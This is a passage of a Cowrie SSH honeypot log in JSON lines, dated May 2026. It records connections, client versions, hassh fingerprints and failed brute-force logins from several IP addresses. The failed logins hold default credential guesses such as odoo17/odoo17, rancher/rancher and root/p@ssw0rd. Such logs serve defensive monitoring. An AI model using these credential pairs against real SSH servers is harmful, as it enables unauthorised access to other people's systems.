0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:55.084110Z","src_ip":"47.86.95.62","session":"75d49eec6313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:00.242651Z","src_ip":"47.86.95.62","session":"75d49eec6313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:09.844032Z","src_ip":"47.86.95.62","session":"75d49eec6313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":31088,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2d98f03399b","protocol":"ssh","message":"New connection: 165.154.23.26:31088 (159.203.135.109:22) [session: f2d98f03399b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:10.838223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:10.843796Z","src_ip":"165.154.23.26","session":"f2d98f03399b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:11.063072Z","src_ip":"165.154.23.26","session":"f2d98f03399b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rsacgo23","password":"8.5vHtXSSViFDvKi+TB.","message":"login attempt [rsacgo23/8.5vHtXSSViFDvKi+TB.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:11.972949Z","src_ip":"165.154.23.26","session":"f2d98f03399b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:13.193024Z","src_ip":"165.154.23.26","session":"f2d98f03399b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d752037ae276","protocol":"ssh","message":"New connection: 47.86.95.62:58250 (10.17.0.5:22) [session: d752037ae276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:19.068101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:19.072571Z","src_ip":"47.86.95.62","session":"d752037ae276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:19.275419Z","src_ip":"47.86.95.62","session":"d752037ae276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:19.884986Z","src_ip":"47.86.95.62","session":"d752037ae276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:21.095581Z","src_ip":"47.86.95.62","session":"d752037ae276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":46206,"dst_ip":"159.203.135.109","dst_port":22,"session":"65086857ac06","protocol":"ssh","message":"New connection: 209.99.184.143:46206 (159.203.135.109:22) [session: 65086857ac06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:33.401607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:33.406462Z","src_ip":"209.99.184.143","session":"65086857ac06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:33.499254Z","src_ip":"209.99.184.143","session":"65086857ac06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:33.904420Z","src_ip":"209.99.184.143","session":"65086857ac06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:35.000590Z","src_ip":"209.99.184.143","session":"65086857ac06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44936,"dst_ip":"10.17.0.5","dst_port":22,"session":"64e6697c54ac","protocol":"ssh","message":"New connection: 47.86.95.62:44936 (10.17.0.5:22) [session: 64e6697c54ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:39.712501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:40.045357Z","src_ip":"47.86.95.62","session":"64e6697c54ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:40.050827Z","src_ip":"47.86.95.62","session":"64e6697c54ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:43.106379Z","src_ip":"47.86.95.62","session":"64e6697c54ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:44.909209Z","src_ip":"47.86.95.62","session":"64e6697c54ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53530,"dst_ip":"10.17.0.5","dst_port":22,"session":"28724223a37a","protocol":"ssh","message":"New connection: 47.86.95.62:53530 (10.17.0.5:22) [session: 28724223a37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:52.816020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:52.821294Z","src_ip":"47.86.95.62","session":"28724223a37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:53.028134Z","src_ip":"47.86.95.62","session":"28724223a37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:54.106553Z","src_ip":"47.86.95.62","session":"28724223a37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:55.316697Z","src_ip":"47.86.95.62","session":"28724223a37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53544,"dst_ip":"10.17.0.5","dst_port":22,"session":"08b800f586c9","protocol":"ssh","message":"New connection: 47.86.95.62:53544 (10.17.0.5:22) [session: 08b800f586c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:58.471072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:58.475823Z","src_ip":"47.86.95.62","session":"08b800f586c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:26:58.683069Z","src_ip":"47.86.95.62","session":"08b800f586c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:00.754023Z","src_ip":"47.86.95.62","session":"08b800f586c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:01.960356Z","src_ip":"47.86.95.62","session":"08b800f586c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.99.97.104","src_port":56964,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c302f2dafe1","protocol":"ssh","message":"New connection: 47.99.97.104:56964 (159.203.135.109:22) [session: 5c302f2dafe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:05.074119Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:05.085415Z","src_ip":"47.99.97.104","session":"5c302f2dafe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49200,"dst_ip":"10.17.0.5","dst_port":22,"session":"8524c25a5274","protocol":"ssh","message":"New connection: 47.86.95.62:49200 (10.17.0.5:22) [session: 8524c25a5274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:20.519348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:20.524906Z","src_ip":"47.86.95.62","session":"8524c25a5274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:20.730911Z","src_ip":"47.86.95.62","session":"8524c25a5274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:21.513335Z","src_ip":"47.86.95.62","session":"8524c25a5274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:22.724611Z","src_ip":"47.86.95.62","session":"8524c25a5274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36094,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72ed825a28f","protocol":"ssh","message":"New connection: 47.86.95.62:36094 (10.17.0.5:22) [session: c72ed825a28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:26.307490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:26.311906Z","src_ip":"47.86.95.62","session":"c72ed825a28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:26.527763Z","src_ip":"47.86.95.62","session":"c72ed825a28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:27.155466Z","src_ip":"47.86.95.62","session":"c72ed825a28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:27:28.364642Z","src_ip":"47.86.95.62","session":"c72ed825a28f","protocol":"ssh"}
